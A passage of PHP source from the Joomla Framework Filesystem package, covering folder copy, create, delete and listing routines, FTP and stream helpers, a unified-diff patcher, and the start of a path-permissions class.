	public static function copy($src, $dest, $path = '', $force =
false, $useStreams = false)
	{
		@set_time_limit(ini_get('max_execution_time'));

		if ($path)
		{
			$src  = Path::clean($path . '/' . $src);
			$dest = Path::clean($path . '/' . $dest);
		}

		// Eliminate trailing directory separators, if any
		$src  = rtrim($src, \DIRECTORY_SEPARATOR);
		$dest = rtrim($dest, \DIRECTORY_SEPARATOR);

		if (!is_dir(Path::clean($src)))
		{
			throw new FilesystemException('Source folder not found', -1);
		}

		if (is_dir(Path::clean($dest)) && !$force)
		{
			throw new FilesystemException('Destination folder not found',
-1);
		}

		// Make sure the destination exists
		if (!self::create($dest))
		{
			throw new FilesystemException('Cannot create destination
folder', -1);
		}

		if (!($dh = @opendir($src)))
		{
			throw new FilesystemException('Cannot open source folder',
-1);
		}

		// Walk through the directory copying files and recursing into folders.
		while (($file = readdir($dh)) !== false)
		{
			$sfid = $src . '/' . $file;
			$dfid = $dest . '/' . $file;

			switch (filetype($sfid))
			{
				case 'dir':
					if ($file != '.' && $file != '..')
					{
						$ret = self::copy($sfid, $dfid, null, $force, $useStreams);

						if ($ret !== true)
						{
							return $ret;
						}
					}

					break;

				case 'file':
					if ($useStreams)
					{
						Stream::getStream()->copy($sfid, $dfid);
					}
					else
					{
						if (!@copy($sfid, $dfid))
						{
							throw new FilesystemException('Copy file failed', -1);
						}
					}

					break;
			}
		}

		return true;
	}

	/**
	 * Create a folder -- and all necessary parent folders.
	 *
	 * @param   string   $path  A path to create from the base path.
	 * @param   integer  $mode  Directory permissions to set for folders
created. 0755 by default.
	 *
	 * @return  boolean  True if successful.
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public static function create($path = '', $mode = 0755)
	{
		static $nested = 0;

		// Check to make sure the path valid and clean
		$path = Path::clean($path);

		// Check if parent dir exists
		$parent = \dirname($path);

		if (!is_dir(Path::clean($parent)))
		{
			// Prevent infinite loops!
			$nested++;

			if (($nested > 20) || ($parent == $path))
			{
				throw new FilesystemException(__METHOD__ . ': Infinite loop
detected');
			}

			try
			{
				// Create the parent directory
				if (self::create($parent, $mode) !== true)
				{
					// Folder::create throws an error
					$nested--;

					return false;
				}
			}
			catch (FilesystemException $exception)
			{
				$nested--;

				throw $exception;
			}

			// OK, parent directory has been created
			$nested--;
		}

		// Check if dir already exists
		if (is_dir(Path::clean($path)))
		{
			return true;
		}

		// We need to get and explode the open_basedir paths
		$obd = ini_get('open_basedir');

		// If open_basedir is set we need to get the open_basedir that the path
is in
		if ($obd != null)
		{
			if (\defined('PHP_WINDOWS_VERSION_MAJOR'))
			{
				$obdSeparator = ';';
			}
			else
			{
				$obdSeparator = ':';
			}

			// Create the array of open_basedir paths
			$obdArray  = explode($obdSeparator, $obd);
			$inBaseDir = false;

			// Iterate through open_basedir paths looking for a match
			foreach ($obdArray as $test)
			{
				$test = Path::clean($test);

				if (strpos($path, $test) === 0 || strpos($path, realpath($test)) === 0)
				{
					$inBaseDir = true;

					break;
				}
			}

			if ($inBaseDir == false)
			{
				// Throw a FilesystemException because the path to be created is not in
open_basedir
				throw new FilesystemException(__METHOD__ . ': Path not in
open_basedir paths');
			}
		}

		// First set umask
		$origmask = @umask(0);

		// Create the path
		if (!$ret = @mkdir($path, $mode))
		{
			@umask($origmask);

			throw new FilesystemException(__METHOD__ . ': Could not create
directory.  Path: ' . $path);
		}

		// Reset umask
		@umask($origmask);

		return $ret;
	}

	/**
	 * Delete a folder.
	 *
	 * @param   string  $path  The path to the folder to delete.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 * @throws  \UnexpectedValueException
	 */
	public static function delete($path)
	{
		@set_time_limit(ini_get('max_execution_time'));

		// Sanity check
		if (!$path)
		{
			// Bad programmer! Bad Bad programmer!
			throw new FilesystemException(__METHOD__ . ': You can not delete a
base directory.');
		}

		// Check to make sure the path valid and clean
		$path = Path::clean($path);

		// Is this really a folder?
		if (!is_dir($path))
		{
			throw new \UnexpectedValueException(sprintf('%1$s: Path is not a
folder. Path: %2$s', __METHOD__, $path));
		}

		// Remove all the files in folder if they exist; disable all filtering
		$files = self::files($path, '.', false, true, array(),
array());

		if (!empty($files))
		{
			if (File::delete($files) !== true)
			{
				// File::delete throws an error
				return false;
			}
		}

		// Remove sub-folders of folder; disable all filtering
		$folders = self::folders($path, '.', false, true, array(),
array());

		foreach ($folders as $folder)
		{
			if (is_link($folder))
			{
				// Don't descend into linked directories, just delete the link.
				if (File::delete($folder) !== true)
				{
					// File::delete throws an error
					return false;
				}
			}
			elseif (self::delete($folder) !== true)
			{
				// Folder::delete throws an error
				return false;
			}
		}

		// In case of restricted permissions we zap it one way or the other as
long as the owner is either the webserver or the ftp.
		if (@rmdir($path))
		{
			return true;
		}

		throw new FilesystemException(sprintf('%1$s: Could not delete
folder. Path: %2$s', __METHOD__, $path));
	}

	/**
	 * Moves a folder.
	 *
	 * @param   string   $src         The path to the source folder.
	 * @param   string   $dest        The path to the destination folder.
	 * @param   string   $path        An optional base path to prefix to the
file names.
	 * @param   boolean  $useStreams  Optionally use streams.
	 *
	 * @return  string|boolean  Error message on false or boolean true on
success.
	 *
	 * @since   1.0
	 */
	public static function move($src, $dest, $path = '', $useStreams
= false)
	{
		if ($path)
		{
			$src  = Path::clean($path . '/' . $src);
			$dest = Path::clean($path . '/' . $dest);
		}

		if (!is_dir(Path::clean($src)))
		{
			return 'Cannot find source folder';
		}

		if (is_dir(Path::clean($dest)))
		{
			return 'Folder already exists';
		}

		if ($useStreams)
		{
			Stream::getStream()->move($src, $dest);

			return true;
		}

		if (!@rename($src, $dest))
		{
			return 'Rename failed';
		}

		return true;
	}

	/**
	 * Utility function to read the files in a folder.
	 *
	 * @param   string   $path           The path of the folder to read.
	 * @param   string   $filter         A filter for file names.
	 * @param   mixed    $recurse        True to recursively search into
sub-folders, or an integer to specify the maximum depth.
	 * @param   boolean  $full           True to return the full path to the
file.
	 * @param   array    $exclude        Array with names of files which
should not be shown in the result.
	 * @param   array    $excludeFilter  Array of filter to exclude
	 *
	 * @return  array  Files in the given folder.
	 *
	 * @since   1.0
	 * @throws  \UnexpectedValueException
	 */
	public static function files($path, $filter = '.', $recurse =
false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
		$excludeFilter = array('^\..*', '.*~')
	)
	{
		// Check to make sure the path valid and clean
		$path = Path::clean($path);

		// Is the path a folder?
		if (!is_dir($path))
		{
			throw new \UnexpectedValueException(sprintf('%1$s: Path is not a
folder. Path: %2$s', __METHOD__, $path));
		}

		// Compute the excludefilter string
		if (\count($excludeFilter))
		{
			$excludeFilterString = '/(' . implode('|',
$excludeFilter) . ')/';
		}
		else
		{
			$excludeFilterString = '';
		}

		// Get the files
		$arr = self::_items($path, $filter, $recurse, $full, $exclude,
$excludeFilterString, true);

		// Sort the files
		asort($arr);

		return array_values($arr);
	}

	/**
	 * Utility function to read the folders in a folder.
	 *
	 * @param   string   $path           The path of the folder to read.
	 * @param   string   $filter         A filter for folder names.
	 * @param   mixed    $recurse        True to recursively search into
sub-folders, or an integer to specify the maximum depth.
	 * @param   boolean  $full           True to return the full path to the
folders.
	 * @param   array    $exclude        Array with names of folders which
should not be shown in the result.
	 * @param   array    $excludeFilter  Array with regular expressions
matching folders which should not be shown in the result.
	 *
	 * @return  array  Folders in the given folder.
	 *
	 * @since   1.0
	 * @throws  \UnexpectedValueException
	 */
	public static function folders($path, $filter = '.', $recurse =
false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
		$excludeFilter = array('^\..*')
	)
	{
		// Check to make sure the path valid and clean
		$path = Path::clean($path);

		// Is the path a folder?
		if (!is_dir($path))
		{
			throw new \UnexpectedValueException(sprintf('%1$s: Path is not a
folder. Path: %2$s', __METHOD__, $path));
		}

		// Compute the excludefilter string
		if (\count($excludeFilter))
		{
			$excludeFilterString = '/(' . implode('|',
$excludeFilter) . ')/';
		}
		else
		{
			$excludeFilterString = '';
		}

		// Get the folders
		$arr = self::_items($path, $filter, $recurse, $full, $exclude,
$excludeFilterString, false);

		// Sort the folders
		asort($arr);

		return array_values($arr);
	}

	/**
	 * Function to read the files/folders in a folder.
	 *
	 * @param   string   $path                 The path of the folder to read.
	 * @param   string   $filter               A filter for file names.
	 * @param   mixed    $recurse              True to recursively search into
sub-folders, or an integer to specify the maximum depth.
	 * @param   boolean  $full                 True to return the full path to
the file.
	 * @param   array    $exclude              Array with names of files which
should not be shown in the result.
	 * @param   string   $excludeFilterString  Regexp of files to exclude
	 * @param   boolean  $findfiles            True to read the files, false
to read the folders
	 *
	 * @return  array  Files.
	 *
	 * @since   1.0
	 */
	protected static function _items($path, $filter, $recurse, $full,
$exclude, $excludeFilterString, $findfiles)
	{
		@set_time_limit(ini_get('max_execution_time'));

		$arr = array();

		// Read the source directory
		if (!($handle = @opendir($path)))
		{
			return $arr;
		}

		while (($file = readdir($handle)) !== false)
		{
			if ($file != '.' && $file != '..' &&
!\in_array($file, $exclude)
				&& (empty($excludeFilterString) ||
!preg_match($excludeFilterString, $file)))
			{
				// Compute the fullpath
				$fullpath = Path::clean($path . '/' . $file);

				// Compute the isDir flag
				$isDir = is_dir($fullpath);

				if (($isDir xor $findfiles) &&
preg_match("/$filter/", $file))
				{
					// (fullpath is dir and folders are searched or fullpath is not dir
and files are searched) and file matches the filter
					if ($full)
					{
						// Full path is requested
						$arr[] = $fullpath;
					}
					else
					{
						// Filename is requested
						$arr[] = $file;
					}
				}

				if ($isDir && $recurse)
				{
					// Search recursively
					if (\is_int($recurse))
					{
						// Until depth 0 is reached
						$arr = array_merge($arr, self::_items($fullpath, $filter, $recurse -
1, $full, $exclude, $excludeFilterString, $findfiles));
					}
					else
					{
						$arr = array_merge($arr, self::_items($fullpath, $filter, $recurse,
$full, $exclude, $excludeFilterString, $findfiles));
					}
				}
			}
		}

		closedir($handle);

		return $arr;
	}

	/**
	 * Lists folder in format suitable for tree display.
	 *
	 * @param   string   $path      The path of the folder to read.
	 * @param   string   $filter    A filter for folder names.
	 * @param   integer  $maxLevel  The maximum number of levels to
recursively read, defaults to three.
	 * @param   integer  $level     The current level, optional.
	 * @param   integer  $parent    Unique identifier of the parent folder, if
any.
	 *
	 * @return  array  Folders in the given folder.
	 *
	 * @since   1.0
	 */
	public static function listFolderTree($path, $filter, $maxLevel = 3,
$level = 0, $parent = 0)
	{
		$dirs = array();

		if ($level == 0)
		{
			$GLOBALS['_JFolder_folder_tree_index'] = 0;
		}

		if ($level < $maxLevel)
		{
			$folders = self::folders($path, $filter);

			// First path, index foldernames
			foreach ($folders as $name)
			{
				$id       = ++$GLOBALS['_JFolder_folder_tree_index'];
				$fullName = Path::clean($path . '/' . $name);
				$dirs[]   = array(
					'id'       => $id,
					'parent'   => $parent,
					'name'     => $name,
					'fullname' => $fullName,
					'relname'  => str_replace(JPATH_ROOT, '',
$fullName),
				);
				$dirs2 = self::listFolderTree($fullName, $filter, $maxLevel, $level +
1, $id);
				$dirs  = array_merge($dirs, $dirs2);
			}
		}

		return $dirs;
	}

	/**
	 * Makes path name safe to use.
	 *
	 * @param   string  $path  The full path to sanitise.
	 *
	 * @return  string  The sanitised string.
	 *
	 * @since   1.0
	 */
	public static function makeSafe($path)
	{
		$regex =
array('#[^A-Za-z0-9_\\\/\(\)\[\]\{\}\#\$\^\+\.\'~`!@&=;,-]#');

		return preg_replace($regex, '', $path);
	}
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem;

/**
 * File system helper
 *
 * Holds support functions for the filesystem, particularly the stream
 *
 * @since  1.0
 */
class Helper
{
	/**
	 * Remote file size function for streams that don't support it
	 *
	 * @param   string  $url  TODO Add text
	 *
	 * @return  mixed
	 *
	 * @link    https://www.php.net/manual/en/function.filesize.php#71098
	 * @since   1.0
	 */
	public static function remotefsize($url)
	{
		$sch = parse_url($url, \PHP_URL_SCHEME);

		if (!\in_array($sch, array('http', 'https',
'ftp', 'ftps'), true))
		{
			return false;
		}

		if (\in_array($sch, array('http', 'https'), true))
		{
			$headers = @ get_headers($url, 1);

			if (!$headers || (!\array_key_exists('Content-Length',
$headers)))
			{
				return false;
			}

			return $headers['Content-Length'];
		}

		if (\in_array($sch, array('ftp', 'ftps'), true))
		{
			$server = parse_url($url, \PHP_URL_HOST);
			$port   = parse_url($url, \PHP_URL_PORT);
			$path   = parse_url($url, \PHP_URL_PATH);
			$user   = parse_url($url, \PHP_URL_USER);
			$pass   = parse_url($url, \PHP_URL_PASS);

			if ((!$server) || (!$path))
			{
				return false;
			}

			if (!$port)
			{
				$port = 21;
			}

			if (!$user)
			{
				$user = 'anonymous';
			}

			if (!$pass)
			{
				$pass = '';
			}

			$ftpid = null;

			switch ($sch)
			{
				case 'ftp':
					$ftpid = @ftp_connect($server, $port);

					break;

				case 'ftps':
					$ftpid = @ftp_ssl_connect($server, $port);

					break;
			}

			if (!$ftpid)
			{
				return false;
			}

			$login = @ftp_login($ftpid, $user, $pass);

			if (!$login)
			{
				return false;
			}

			$ftpsize = ftp_size($ftpid, $path);
			ftp_close($ftpid);

			if ($ftpsize == -1)
			{
				return false;
			}

			return $ftpsize;
		}
	}

	/**
	 * Quick FTP chmod
	 *
	 * @param   string   $url   Link identifier
	 * @param   integer  $mode  The new permissions, given as an octal value.
	 *
	 * @return  integer|boolean
	 *
	 * @link    https://www.php.net/manual/en/function.ftp-chmod.php
	 * @since   1.0
	 */
	public static function ftpChmod($url, $mode)
	{
		$sch = parse_url($url, \PHP_URL_SCHEME);

		if (($sch != 'ftp') && ($sch != 'ftps'))
		{
			return false;
		}

		$server = parse_url($url, \PHP_URL_HOST);
		$port   = parse_url($url, \PHP_URL_PORT);
		$path   = parse_url($url, \PHP_URL_PATH);
		$user   = parse_url($url, \PHP_URL_USER);
		$pass   = parse_url($url, \PHP_URL_PASS);

		if ((!$server) || (!$path))
		{
			return false;
		}

		if (!$port)
		{
			$port = 21;
		}

		if (!$user)
		{
			$user = 'anonymous';
		}

		if (!$pass)
		{
			$pass = '';
		}

		$ftpid = null;

		switch ($sch)
		{
			case 'ftp':
				$ftpid = @ftp_connect($server, $port);

				break;

			case 'ftps':
				$ftpid = @ftp_ssl_connect($server, $port);

				break;
		}

		if (!$ftpid)
		{
			return false;
		}

		$login = @ftp_login($ftpid, $user, $pass);

		if (!$login)
		{
			return false;
		}

		$res = @ftp_chmod($ftpid, $mode, $path);
		ftp_close($ftpid);

		return $res;
	}

	/**
	 * Modes that require a write operation
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function getWriteModes()
	{
		return array('w', 'w+', 'a',
'a+', 'r+', 'x', 'x+');
	}

	/**
	 * Stream and Filter Support Operations
	 *
	 * Returns the supported streams, in addition to direct file access
	 * Also includes Joomla! streams as well as PHP streams
	 *
	 * @return  array  Streams
	 *
	 * @since   1.0
	 */
	public static function getSupported()
	{
		// Really quite cool what php can do with arrays when you let it...
		static $streams;

		if (!$streams)
		{
			$streams = array_merge(stream_get_wrappers(), self::getJStreams());
		}

		return $streams;
	}

	/**
	 * Returns a list of transports
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function getTransports()
	{
		// Is this overkill?
		return stream_get_transports();
	}

	/**
	 * Returns a list of filters
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function getFilters()
	{
		// Note: This will look like the getSupported() function with J! filters.
		// TODO: add user space filter loading like user space stream loading
		return stream_get_filters();
	}

	/**
	 * Returns a list of J! streams
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public static function getJStreams()
	{
		static $streams = array();

		if (!$streams)
		{
			$files = new \DirectoryIterator(__DIR__ . '/Stream');

			/** @var $file \DirectoryIterator */
			foreach ($files as $file)
			{
				// Only load for php files.
				if (!$file->isFile() || $file->getExtension() != 'php')
				{
					continue;
				}

				$streams[] = $file->getBasename('.php');
			}
		}

		return $streams;
	}

	/**
	 * Determine if a stream is a Joomla stream.
	 *
	 * @param   string  $streamname  The name of a stream
	 *
	 * @return  boolean  True for a Joomla Stream
	 *
	 * @since   1.0
	 */
	public static function isJoomlaStream($streamname)
	{
		return \in_array($streamname, self::getJStreams());
	}
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem;

/**
 * A Unified Diff Format Patcher class
 *
 * @link   http://sourceforge.net/projects/phppatcher/ This has been
derived from the PhpPatcher version 0.1.1 written by Giuseppe Mazzotta
 * @since  1.0
 */
class Patcher
{
	/**
	 * Regular expression for searching source files
	 *
	 * @var    string
	 * @since  1.0
	 */
	const SRC_FILE =
'/^---\\s+(\\S+)\s+\\d{1,4}-\\d{1,2}-\\d{1,2}\\s+\\d{1,2}:\\d{1,2}:\\d{1,2}(\\.\\d+)?\\s+(\+|-)\\d{4}/A';

	/**
	 * Regular expression for searching destination files
	 *
	 * @var    string
	 * @since  1.0
	 */
	const DST_FILE =
'/^\\+\\+\\+\\s+(\\S+)\s+\\d{1,4}-\\d{1,2}-\\d{1,2}\\s+\\d{1,2}:\\d{1,2}:\\d{1,2}(\\.\\d+)?\\s+(\+|-)\\d{4}/A';

	/**
	 * Regular expression for searching hunks of differences
	 *
	 * @var    string
	 * @since  1.0
	 */
	const HUNK = '/@@
-(\\d+)(,(\\d+))?\\s+\\+(\\d+)(,(\\d+))?\\s+@@($)/A';

	/**
	 * Regular expression for splitting lines
	 *
	 * @var    string
	 * @since  1.0
	 */
	const SPLIT = '/(\r\n)|(\r)|(\n)/';

	/**
	 * Source files
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $sources = array();

	/**
	 * Destination files
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $destinations = array();

	/**
	 * Removal files
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $removals = array();

	/**
	 * Patches
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $patches = array();

	/**
	 * Singleton instance of this class
	 *
	 * @var    Patcher
	 * @since  1.0
	 */
	protected static $instance;

	/**
	 * Constructor
	 *
	 * The constructor is protected to force the use of Patcher::getInstance()
	 *
	 * @since   1.0
	 */
	protected function __construct()
	{
	}

	/**
	 * Method to get a patcher
	 *
	 * @return  Patcher  an instance of the patcher
	 *
	 * @since   1.0
	 */
	public static function getInstance()
	{
		if (!isset(static::$instance))
		{
			static::$instance = new static;
		}

		return static::$instance;
	}

	/**
	 * Reset the pacher
	 *
	 * @return  Patcher  This object for chaining
	 *
	 * @since   1.0
	 */
	public function reset()
	{
		$this->sources      = array();
		$this->destinations = array();
		$this->removals     = array();
		$this->patches      = array();

		return $this;
	}

	/**
	 * Apply the patches
	 *
	 * @return  integer  The number of files patched
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function apply()
	{
		foreach ($this->patches as $patch)
		{
			// Separate the input into lines
			$lines = self::splitLines($patch['udiff']);

			// Loop for each header
			while (self::findHeader($lines, $src, $dst))
			{
				$done = false;

				if ($patch['strip'] === null)
				{
					$src = $patch['root'] .
preg_replace('#^([^/]*/)*#', '', $src);
					$dst = $patch['root'] .
preg_replace('#^([^/]*/)*#', '', $dst);
				}
				else
				{
					$src = $patch['root'] . preg_replace('#^([^/]*/){'
. (int) $patch['strip'] . '}#', '', $src);
					$dst = $patch['root'] . preg_replace('#^([^/]*/){'
. (int) $patch['strip'] . '}#', '', $dst);
				}

				// Loop for each hunk of differences
				while (self::findHunk($lines, $srcLine, $srcSize, $dstLine, $dstSize))
				{
					$done = true;

					// Apply the hunk of differences
					$this->applyHunk($lines, $src, $dst, $srcLine, $srcSize, $dstLine,
$dstSize);
				}

				// If no modifications were found, throw an exception
				if (!$done)
				{
					throw new \RuntimeException('Invalid Diff');
				}
			}
		}

		// Initialize the counter
		$done = 0;

		// Patch each destination file
		foreach ($this->destinations as $file => $content)
		{
			$content = implode("\n", $content);

			if (File::write($file, $content))
			{
				if (isset($this->sources[$file]))
				{
					$this->sources[$file] = $content;
				}

				$done++;
			}
		}

		// Remove each removed file
		foreach ($this->removals as $file)
		{
			if (File::delete($file))
			{
				if (isset($this->sources[$file]))
				{
					unset($this->sources[$file]);
				}

				$done++;
			}
		}

		// Clear the destinations cache
		$this->destinations = array();

		// Clear the removals
		$this->removals = array();

		// Clear the patches
		$this->patches = array();

		return $done;
	}

	/**
	 * Add a unified diff file to the patcher
	 *
	 * @param   string   $filename  Path to the unified diff file
	 * @param   string   $root      The files root path
	 * @param   integer  $strip     The number of '/' to strip
	 *
	 * @return	Patcher  $this for chaining
	 *
	 * @since   1.0
	 */
	public function addFile($filename, $root = JPATH_ROOT, $strip = 0)
	{
		return $this->add(file_get_contents($filename), $root, $strip);
	}

	/**
	 * Add a unified diff string to the patcher
	 *
	 * @param   string   $udiff  Unified diff input string
	 * @param   string   $root   The files root path
	 * @param   integer  $strip  The number of '/' to strip
	 *
	 * @return	Patcher  $this for chaining
	 *
	 * @since   1.0
	 */
	public function add($udiff, $root = JPATH_ROOT, $strip = 0)
	{
		$this->patches[] = array(
			'udiff' => $udiff,
			'root'  => isset($root) ? rtrim($root,
\DIRECTORY_SEPARATOR) . \DIRECTORY_SEPARATOR : '',
			'strip' => $strip,
		);

		return $this;
	}

	/**
	 * Separate CR or CRLF lines
	 *
	 * @param   string  $data  Input string
	 *
	 * @return  array  The lines of the input destination file
	 *
	 * @since   1.0
	 */
	protected static function splitLines($data)
	{
		return preg_split(self::SPLIT, $data);
	}

	/**
	 * Find the diff header
	 *
	 * The internal array pointer of $lines is on the next line after the
finding
	 *
	 * @param   array   $lines  The udiff array of lines
	 * @param   string  $src    The source file
	 * @param   string  $dst    The destination file
	 *
	 * @return  boolean  TRUE in case of success, FALSE in case of failure
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected static function findHeader(&$lines, &$src, &$dst)
	{
		// Get the current line
		$line = current($lines);

		// Search for the header
		while ($line !== false && !preg_match(self::SRC_FILE, $line, $m))
		{
			$line = next($lines);
		}

		if ($line === false)
		{
			// No header found, return false
			return false;
		}

		// Set the source file
		$src = $m[1];

		// Advance to the next line
		$line = next($lines);

		if ($line === false)
		{
			throw new \RuntimeException('Unexpected EOF');
		}

		// Search the destination file
		if (!preg_match(self::DST_FILE, $line, $m))
		{
			throw new \RuntimeException('Invalid Diff file');
		}

		// Set the destination file
		$dst = $m[1];

		// Advance to the next line
		if (next($lines) === false)
		{
			throw new \RuntimeException('Unexpected EOF');
		}

		return true;
	}

	/**
	 * Find the next hunk of difference
	 *
	 * The internal array pointer of $lines is on the next line after the
finding
	 *
	 * @param   array   $lines    The udiff array of lines
	 * @param   string  $srcLine  The beginning of the patch for the source
file
	 * @param   string  $srcSize  The size of the patch for the source file
	 * @param   string  $dstLine  The beginning of the patch for the
destination file
	 * @param   string  $dstSize  The size of the patch for the destination
file
	 *
	 * @return  boolean  TRUE in case of success, false in case of failure
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected static function findHunk(&$lines, &$srcLine,
&$srcSize, &$dstLine, &$dstSize)
	{
		$line = current($lines);

		if (preg_match(self::HUNK, $line, $m))
		{
			$srcLine = (int) $m[1];

			if ($m[3] === '')
			{
				$srcSize = 1;
			}
			else
			{
				$srcSize = (int) $m[3];
			}

			$dstLine = (int) $m[4];

			if ($m[6] === '')
			{
				$dstSize = 1;
			}
			else
			{
				$dstSize = (int) $m[6];
			}

			if (next($lines) === false)
			{
				throw new \RuntimeException('Unexpected EOF');
			}

			return true;
		}

		return false;
	}

	/**
	 * Apply the patch
	 *
	 * @param   array   $lines    The udiff array of lines
	 * @param   string  $src      The source file
	 * @param   string  $dst      The destination file
	 * @param   string  $srcLine  The beginning of the patch for the source
file
	 * @param   string  $srcSize  The size of the patch for the source file
	 * @param   string  $dstLine  The beginning of the patch for the
destination file
	 * @param   string  $dstSize  The size of the patch for the destination
file
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected function applyHunk(&$lines, $src, $dst, $srcLine, $srcSize,
$dstLine, $dstSize)
	{
		$srcLine--;
		$dstLine--;
		$line = current($lines);

		// Source lines (old file)
		$source = array();

		// New lines (new file)
		$destin  = array();
		$srcLeft = $srcSize;
		$dstLeft = $dstSize;

		do
		{
			if (!isset($line[0]))
			{
				$source[] = '';
				$destin[] = '';
				$srcLeft--;
				$dstLeft--;
			}
			elseif ($line[0] == '-')
			{
				if ($srcLeft == 0)
				{
					throw new \RuntimeException('Unexpected remove line at line
' . key($lines));
				}

				$source[] = substr($line, 1);
				$srcLeft--;
			}
			elseif ($line[0] == '+')
			{
				if ($dstLeft == 0)
				{
					throw new \RuntimeException('Unexpected add line at line ' .
key($lines));
				}

				$destin[] = substr($line, 1);
				$dstLeft--;
			}
			elseif ($line != '\\ No newline at end of file')
			{
				$line     = substr($line, 1);
				$source[] = $line;
				$destin[] = $line;
				$srcLeft--;
				$dstLeft--;
			}

			if ($srcLeft == 0 && $dstLeft == 0)
			{
				// Now apply the patch, finally!
				if ($srcSize > 0)
				{
					$srcLines = & $this->getSource($src);

					if (!isset($srcLines))
					{
						throw new \RuntimeException('Unexisting source file: ' .
$src);
					}
				}

				if ($dstSize > 0)
				{
					if ($srcSize > 0)
					{
						$dstLines  = & $this->getDestination($dst, $src);
						$srcBottom = $srcLine + \count($source);

						for ($l = $srcLine; $l < $srcBottom; $l++)
						{
							if ($srcLines[$l] != $source[$l - $srcLine])
							{
								throw new \RuntimeException(sprintf('Failed source
verification of file %1$s at line %2$s', $src, $l));
							}
						}

						array_splice($dstLines, $dstLine, \count($source), $destin);
					}
					else
					{
						$this->destinations[$dst] = $destin;
					}
				}
				else
				{
					$this->removals[] = $src;
				}

				next($lines);

				return;
			}

			$line = next($lines);
		}
		while ($line !== false);

		throw new \RuntimeException('Unexpected EOF');
	}

	/**
	 * Get the lines of a source file
	 *
	 * @param   string  $src  The path of a file
	 *
	 * @return  array  The lines of the source file
	 *
	 * @since   1.0
	 */
	protected function &getSource($src)
	{
		if (!isset($this->sources[$src]))
		{
			if (is_readable($src))
			{
				$this->sources[$src] = self::splitLines(file_get_contents($src));
			}
			else
			{
				$this->sources[$src] = null;
			}
		}

		return $this->sources[$src];
	}

	/**
	 * Get the lines of a destination file
	 *
	 * @param   string  $dst  The path of a destination file
	 * @param   string  $src  The path of a source file
	 *
	 * @return  array  The lines of the destination file
	 *
	 * @since   1.0
	 */
	protected function &getDestination($dst, $src)
	{
		if (!isset($this->destinations[$dst]))
		{
			$this->destinations[$dst] = $this->getSource($src);
		}

		return $this->destinations[$dst];
	}
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem;

use Joomla\Filesystem\Exception\FilesystemException;

if (!\defined('JPATH_ROOT'))
{
	throw new \LogicException('The "JPATH_ROOT" constant must
be defined for your application.');
}

/**
 * A Path handling class
 *
 * @since  1.0
 */
class Path
{
	/**
	 * Checks if a path's permissions can be changed.
	 *
	 * @param   string  $path  Path to check.
	 *
	 * @return  boolean  True if path can have mode changed.
	 *
	 * @since   1.0
	 */
	public static function canChmod($path)
	{
		if (!file_exists($path))
		{
			return false;
		}

		$perms = @fileperms($path);

		if ($perms !== false)
		{
			if (@chmod($path, $perms ^ 0001))
			{
				@chmod($path, $perms);

				return true;
			}
		}

		return false;
	}

	/**
	 * Chmods files and directories recursively to given permissions.
	 *
	 * @param   string  $path        Root path to begin changing mode [without
trailing slash].
	 * @param   string  $filemode    Octal representation of the value to
change file mode to [null = no change].
	 * @param   string  $foldermode  Octal representation of the value to
change folder mode to [null = no change].
	 *
	 * @return  boolean  True if successful [one fail means the whole
operation failed].
	 *
	 * @since   1.0
	 */
	public static function setPermissions($path, $filemode = '0644',
$foldermode = '0755')
	{
		// Initialise return value
		$ret = true;

		if (is_dir($path))
		{
			$dh = @opendir($path);

			if ($dh)
			{
				while ($file = readdir($dh))
				{
					if ($file != '.' && $file != '..')
					{
						$fullpath = $path . '/' . $file;

						if (is_dir($fullpath))
						{
							if (!static::setPermissions($fullpath, $filemode, $foldermode))
							{
								$ret = false;
							}
						}
						else
						{
							if (isset($filemode))
							{
								if (!static::canChmod($fullpath) || !@ chmod($fullpath,
octdec($filemode)))
								{
									$ret = false;
								}
							}
						}
					}
				}

				closedir($dh);
			}

			if (isset($foldermode))
			{
				if (!static::canChmod($path) || !@ chmod($path, octdec($foldermode)))
				{
					$ret = false;
				}
			}
		}
		else
		{
			if (isset($filemode))
			{
				if (!static::canChmod($path) || !@ chmod($path, octdec($filemode)))
				{
					$ret = false;
				}
			}
		}

		return $ret;
	}

	/**
	 * Get the permissions of the file/folder at a give path.
	 *
	 * @param   string  $path  The path of a file/folder.
	 *
	 * @return  string  Filesystem permissions.
	 *
	 * @since   1.0
	 */
	public static function getPermissions($path)
	{
		$path = self::clean($path);
		$mode = @ decoct(@ fileperms($path) & 0777);

		if (\strlen($mode) < 3)
		{
			return '---------';
		}

		$parsedMode = '';

		for ($i = 0; $i < 3; $i++)
		{
			// Read
			$parsedMode .= ($mode[$i] & 04) ? 'r' : '-';

			// Write
			$parsedMode .= ($mode[$i] & 02) ? 'w' : '-';

			// Execute
			$parsedMode .= ($mode[$i] & 01) ? 'x' : '-';
		}

		return $parsedMode;
	}

	/**
	 * Checks for snooping outside of the file system root.
	 *
	 * @param   string  $path  A file system path to check.
